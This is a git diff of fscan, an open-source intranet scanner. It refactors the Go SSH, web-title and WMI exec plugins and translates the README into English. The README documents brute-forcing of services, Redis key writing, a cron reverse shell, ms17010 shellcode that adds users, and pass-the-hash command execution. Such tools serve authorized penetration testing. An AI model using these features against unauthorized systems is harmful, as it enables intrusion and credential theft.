Timeout: time.Duration(common.Timeout) * time.Second, Timeout: time.Duration(flags.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil return nil
}, },
@ -76,16 +77,16 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
defer session.Close() defer session.Close()
flag = true flag = true
var result string var result string
if common.Command != "" { if flags.Command != "" {
combo, _ := session.CombinedOutput(common.Command) combo, _ := session.CombinedOutput(flags.Command)
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo)) result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
if common.SshKey != "" { if flags.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo)) result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
} }
common.LogSuccess(result) common.LogSuccess(result)
} else { } else {
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password) result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
if common.SshKey != "" { if flags.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port) result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
} }
common.LogSuccess(result) common.LogSuccess(result)

View File

@ -5,7 +5,6 @@ import (
"crypto/tls" "crypto/tls"
"fmt" "fmt"
"io" "io"
"io/ioutil"
"net/http" "net/http"
"net/url" "net/url"
"regexp" "regexp"
@ -19,23 +18,23 @@ import (
"golang.org/x/text/encoding/simplifiedchinese" "golang.org/x/text/encoding/simplifiedchinese"
) )
func WebTitle(info *common.HostInfo) error { func WebTitle(info common.HostInfo, flags common.Flags) error {
if common.Scantype == "webpoc" { if flags.Scantype == "webpoc" {
WebScan.WebScan(info) WebScan.WebScan(info, flags)
return nil return nil
} }
err, CheckData := GOWebTitle(info) err, CheckData := GOWebTitle(info, flags)
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData) info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
if common.IsWebCan == false && err == nil { if flags.IsWebCan && err == nil {
WebScan.WebScan(info) WebScan.WebScan(info, flags)
} else { } else {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog) common.LogError(errlog)
} }
return err return err
} }
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) { func GOWebTitle(info common.HostInfo, flags common.Flags) (err error, CheckData []WebScan.CheckDatas) {
if info.Url == "" { if info.Url == "" {
switch info.Ports { switch info.Ports {
case "80": case "80":
@ -44,26 +43,26 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
info.Url = fmt.Sprintf("https://%s", info.Host) info.Url = fmt.Sprintf("https://%s", info.Host)
default: default:
host := fmt.Sprintf("%s:%s", info.Host, info.Ports) host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
protocol := GetProtocol(host, common.Timeout) protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout)
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports) info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
} }
} else { } else {
if !strings.Contains(info.Url, "://") { if !strings.Contains(info.Url, "://") {
host := strings.Split(info.Url, "/")[0] host := strings.Split(info.Url, "/")[0]
protocol := GetProtocol(host, common.Timeout) protocol := GetProtocol(host, common.Socks5{Address: flags.Socks5Proxy}, flags.Timeout)
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url) info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
} }
} }
err, result, CheckData := geturl(info, 1, CheckData) err, result, CheckData := geturl(info, flags, 1, CheckData)
if err != nil && !strings.Contains(err.Error(), "EOF") { if err != nil && !strings.Contains(err.Error(), "EOF") {
return return
} }
//有跳转 // there is a jump
if strings.Contains(result, "://") { if strings.Contains(result, "://") {
info.Url = result info.Url = result
err, result, CheckData = geturl(info, 3, CheckData) err, result, CheckData = geturl(info, flags, 3, CheckData)
if err != nil { if err != nil {
return return
} }
@ -71,25 +70,24 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
if result == "https" && !strings.HasPrefix(info.Url, "https://") { if result == "https" && !strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "http://", "https://", 1) info.Url = strings.Replace(info.Url, "http://", "https://", 1)
err, result, CheckData = geturl(info, 1, CheckData) err, result, CheckData = geturl(info, flags, 1, CheckData)
//有跳转 // there is a jump
if strings.Contains(result, "://") { if strings.Contains(result, "://") {
info.Url = result info.Url = result
err, result, CheckData = geturl(info, 3, CheckData) err, _, CheckData = geturl(info, flags, 3, CheckData)
if err != nil { if err != nil {
return return
} }
} }
} }
//是否访问图标
//err, _, CheckData = geturl(info, 2, CheckData)
if err != nil { if err != nil {
return return
} }
return return
} }
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { func geturl(info common.HostInfo, flags common.Flags, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
//flag 1 first try //flag 1 first try
//flag 2 /favicon.ico //flag 2 /favicon.ico
//flag 3 302 //flag 3 302
@ -114,11 +112,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
if common.Cookie != "" { if common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie) req.Header.Set("Cookie", common.Cookie)
} }
//if common.Pocinfo.Cookie != "" {
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
//} else {
// req.Header.Set("Cookie", "rememberMe=1")
//}
req.Header.Set("Connection", "close") req.Header.Set("Connection", "close")
var client *http.Client var client *http.Client
if flag == 1 { if flag == 1 {
@ -155,7 +149,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
} }
result := fmt.Sprintf("[*] WebTitle: %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title) result := fmt.Sprintf("[*] WebTitle: %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" { if reurl != "" {
result += fmt.Sprintf(" 跳转url: %s", reurl) result += fmt.Sprintf(" jump url: %s", reurl)
} }
common.LogSuccess(result) common.LogSuccess(result)
} }
@ -188,7 +182,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
body = append(body, buf...) body = append(body, buf...)
} }
} else { } else {
raw, err := ioutil.ReadAll(oResp.Body) raw, err := io.ReadAll(oResp.Body)
if err != nil { if err != nil {
return nil, err return nil, err
} }
@ -216,17 +210,16 @@ func gettitle(body []byte) (title string) {
return return
} }
func GetProtocol(host string, Timeout int64) (protocol string) { func GetProtocol(host string, proxy common.Socks5, Timeout int64) (protocol string) {
protocol = "http"
//如果端口是80或443,跳过Protocol判断
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") { if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
return return "http"
} else if strings.HasSuffix(host, ":443") {
protocol = "https"
return
} }
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) if strings.HasSuffix(host, ":443") {
return "https"
}
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, proxy, time.Duration(Timeout)*time.Second)
if err != nil { if err != nil {
return return
} }

View File

@ -3,11 +3,12 @@ package Plugins
import ( import (
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"os" "os"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
"github.com/C-Sto/goWMIExec/pkg/wmiexec" "github.com/C-Sto/goWMIExec/pkg/wmiexec"
) )
@ -26,8 +27,8 @@ func init() {
flag = true flag = true
} }
func WmiExec(info *common.HostInfo) (tmperr error) { func WmiExec(info *common.HostInfo, flags common.Flags) (tmperr error) {
if common.IsBrute { if flags.IsBrute {
return nil return nil
} }
starttime := time.Now().Unix() starttime := time.Now().Unix()
@ -35,19 +36,19 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
PASS: PASS:
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err := Wmiexec(info, user, pass, common.Hash) flag, err := Wmiexec(info, flags, user, pass)
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1) errlog = strings.Replace(errlog, "\n", "", -1)
common.LogError(errlog) common.LogError(errlog)
if flag == true { if flag {
var result string var result string
if common.Domain != "" { if flags.Domain != "" {
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
} else { } else {
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v ", info.Host, info.Ports, user) result = fmt.Sprintf("[+] WmiExec:%v:%v:%v ", info.Host, info.Ports, user)
} }
if common.Hash != "" { if flags.Hash != "" {
result += "hash: " + common.Hash result += "hash: " + flags.Hash
} else { } else {
result += pass result += pass
} }
@ -58,11 +59,11 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) { if common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
return err return err
} }
} }
if len(common.Hash) == 32 { if len(flags.Hash) == 32 {
break PASS break PASS
} }
} }
@ -70,10 +71,10 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
return tmperr return tmperr
} }
func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) { func Wmiexec(info *common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
target := fmt.Sprintf("%s:%v", info.Host, info.Ports) target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
wmiexec.Timeout = int(common.Timeout) wmiexec.Timeout = int(flags.Timeout)
return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil) return WMIExec(target, user, pass, flags.Hash, flags.Domain, flags.Command, ClientHost, "", nil)
} }
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) { func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {

330
README.md
View File

@ -1,198 +1,212 @@
# fscan # fscan
[English][url-docen]
# 1. 简介 # 1. Introduction
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。 It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
# 2. 主要功能 # 2. Functions
1.信息搜集: 1.Information collection:
* 存活探测(icmp) * Survival detection(icmp)
* 端口扫描 * Port scanning
2.爆破功能: 2.Blasting:
* 各类服务爆破(ssh、smb、rdp等) * Various service blasting(ssh、smb、rdp, etc.)
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等) * Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
3.系统信息、漏洞扫描: 3.System information, vulnerability scanning:
* netbios探测、域控识别 * Netbios detection, domain control identification
* 获取目标网卡信息 * Collect NIC information
* 高危漏洞扫描(ms17010等) * High Risk Vulnerability Scanning(ms17010, etc.)
4.Web探测功能: 4.Web detection:
* webtitle探测 * Webtitle detection
* web指纹识别(常见cms、oa框架等) * Web fingerprinting (cms, oa framework, etc.)
* web漏洞扫描(weblogic、st2等,支持xray的poc) * Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
5.漏洞利用: 5.Exploit:
* redis写公钥或写计划任务 * Write redis public key and scheduled tasks
* ssh命令执行 * Excute ssh command
* ms17017利用(植入shellcode),如添加用户等 * Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
6.其他功能: 6.Others:
* 文件保存 * Save ouput result
# 3. 使用说明 # 3. Instructions
简单用法 Getting Started
``` ```
fscan.exe -h 192.168.1.1/24 (默认使用全部模块) fscan.exe -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/16 (B段扫描) fscan.exe -h 192.168.1.1/16
``` ```
其他用法 Advanced
``` ```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 ) fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
fscan.exe -hf ip.txt (以文件导入) fscan.exe -hf ip.txt (Import target from file)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理) fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行) fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
``` ```
编译命令 Compile command
``` ```
go build -ldflags="-s -w " -trimpath main.go go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积) upx -9 fscan.exe (Optional, compressed)
``` ```
arch用户安装 Installation for arch users
`yay -S fscan-git 或者 paru -S fscan-git` `yay -S fscan-git or paru -S fscan-git`
完整参数 Full parameters
``` ```
Usage of ./fscan:
-br int
Brute threads (default 1)
-c string -c string
ssh命令执行 exec command (ssh|wmiexec)
-cookie string -cookie string
设置cookie set poc cookie,-cookie rememberMe=login
-debug int -debug int
多久没响应,就打印当前进度(default 60) every time to LogErr (default 60)
-dns
using dnslog poc
-domain string -domain string
smb爆破模块时,设置域名 smb domain
-full
poc full scan,as: shiro 100 key
-h string -h string
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hash string
hash
-hf string -hf string
读取文件中的目标 host file, -hf ip.txt
-hn string -hn string
扫描时,要跳过的ip: -hn 192.168.1.1/24 the hosts no scan,as: -hn 192.168.1.1/24
-m string -m string
设置扫描模式: -m ssh (default "all") Select scan type ,as: -m ssh (default "all")
-no -no
扫描结果不保存到文件中 not to save output log
-nobr -nobr
跳过sql、ftp、ssh等的密码爆破 not to Brute password
-nopoc -nopoc
跳过web poc扫描 not to scan web vul
-np -np
跳过存活探测 not to ping
-num int -num int
web poc 发包速率 (default 20) poc rate (default 20)
-o string -o string
扫描结果保存到哪 (default "result.txt") Outputfile (default "result.txt")
-p string -p string
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017") Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string -pa string
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口) add port base DefaultPorts,-pa 3389
-path string -path string
fcgi、smb romote file path fcgi、smb romote file path
-ping -ping
使用ping代替icmp进行存活探测 using ping replace icmp
-pn string -pn string
扫描时要跳过的端口,as: -pn 445 the ports no scan,as: -pn 445
-pocname string -pocname string
指定web poc的模糊名字, -pocname weblogic use the pocs these contain pocname, -pocname weblogic
-proxy string
设置代理, -proxy http://127.0.0.1:8080
-user string
指定爆破时的用户名
-userf string
指定爆破时的用户名文件
-pwd string
指定爆破时的密码
-pwdf string
指定爆破时的密码文件
-rf string
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
静默扫描,适合cs扫描时不回显
-sshkey string
ssh连接时,指定ssh私钥
-t int
扫描线程 (default 600)
-time int
端口扫描超时时间 (default 3)
-u string
指定Url扫描
-uf string
指定Url文件扫描
-wt int
web访问超时时间 (default 5)
-pocpath string -pocpath string
指定poc路径 poc file path
-usera string -portf string
在原有用户字典基础上,新增新用户 Port File
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwda string -pwda string
在原有密码字典基础上,增加新密码 add a password base DefaultPasses,-pwda password
-socks5 -pwdf string
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080) password file
-sc -rf string
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add) redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-sc string
ms17 shellcode,as -sc add
-silent
silent scan
-socks5 string
set socks5 proxy, will be used in tcp connection, timeout setting will not work
-sshkey string
sshkey file (id_rsa)
-t int
Thread nums (default 600)
-time int
Set timeout (default 3)
-top int
show live len top (default 10)
-u string
url
-uf string
urlfile
-user string
username
-usera string
add a user base DefaultUsers,-usera user
-userf string
username file
-wmi
start wmi
-wt int
Set web timeout (default 5)
``` ```
# 4. 运行截图 # 4. Demo
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)` `fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
![](image/1.png) ![](image/1.png)
![](image/4.png) ![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)` `fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
![](image/2.png) ![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)` `fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
![](image/3.png) ![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc` `fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
![](image/2020-12-12-13-34-44.png) ![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)` `fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
![](image/netbios.png) ![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)` `go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
![](image/netbios1.png) ![](image/netbios1.png)
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)` `go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
![img.png](image/live.png) ![img.png](image/live.png)
# 5. 免责声明 # 5. Disclaimer
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
为避免被恶意使用本项目所有收录的poc均为漏洞的理论判断不存在漏洞利用过程不会对目标发起真实攻击和漏洞利用。 In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。** When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
# 6. 404StarLink 2.0 - Galaxy # 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png) ![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。 Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community) - [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
@ -200,10 +214,10 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
# 7. Star Chart # 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan) [![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. 捐赠 # 8. Donation
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png) If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
# 9. 参考链接 # 9. Reference links
https://github.com/Adminisme/ServerScan https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan https://github.com/hack2fun/Gscan
@ -211,35 +225,35 @@ https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc https://github.com/jjf012/gopoc
# 10. 最近更新 # 10. Dynamics
[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。 [+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。 [+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。 [+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 [+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。 [+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito [+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
[+] 2022/1/11 新增oracle密码爆破。 [+] 2022/1/11 Add oracle password explosion.
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。 [+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。 [+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。 [+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
[+] 2021/6/18 改善一下poc的机制如果识别出指纹会根据指纹信息发送poc如果没有识别到指纹才会把所有poc打一遍。 [+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。 [+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。 [+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。 [+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
